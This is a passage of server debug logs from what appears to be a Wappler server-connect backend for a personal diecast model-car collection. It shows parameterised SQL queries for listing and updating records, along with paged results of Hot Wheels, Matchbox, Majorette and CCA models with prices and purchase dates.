      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:39:11.714Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:39:11.715Z server-connect:app Executing action step identify
2026-02-04T06:39:11.715Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:11.715Z server-connect:output identity: 1
2026-02-04T06:39:11.715Z server-connect:app Executing action step restrict
2026-02-04T06:39:11.715Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:11.715Z server-connect:output restrict: undefined
2026-02-04T06:39:11.715Z server-connect:app Executing action step condition
2026-02-04T06:39:11.715Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:39:11.716Z server-connect:app Executing action step update
2026-02-04T06:39:11.716Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:39:11.716Z server-connect:output update: { affected: 1 }
2026-02-04T06:39:11.717Z server-connect:app Executing action step upload
2026-02-04T06:39:11.717Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:39:11.717Z server-connect:output upload_image: []
2026-02-04T06:39:11.717Z server-connect:app Executing action step repeat
2026-02-04T06:39:11.717Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:39:11.717Z server-connect:output repeat_images: []
2026-02-04T06:39:11.717Z server-connect:output condition: undefined
2026-02-04T06:39:11.926Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:11.926Z server-connect:app Executing action step identify
2026-02-04T06:39:11.926Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:11.926Z server-connect:output identity: 1
2026-02-04T06:39:11.926Z server-connect:app Executing action step restrict
2026-02-04T06:39:11.926Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:11.927Z server-connect:output restrict: undefined
2026-02-04T06:39:11.927Z server-connect:app Executing action step paged
2026-02-04T06:39:11.927Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:11.929Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 135,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:39:15.466Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:15.466Z server-connect:app Executing action step identify
2026-02-04T06:39:15.466Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:15.466Z server-connect:output identity: 1
2026-02-04T06:39:15.466Z server-connect:app Executing action step restrict
2026-02-04T06:39:15.466Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:15.467Z server-connect:output restrict: undefined
2026-02-04T06:39:15.467Z server-connect:app Executing action step paged
2026-02-04T06:39:15.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:15.470Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 97,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 75 },
    current: 1,
    total: 4
  },
  data: [
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
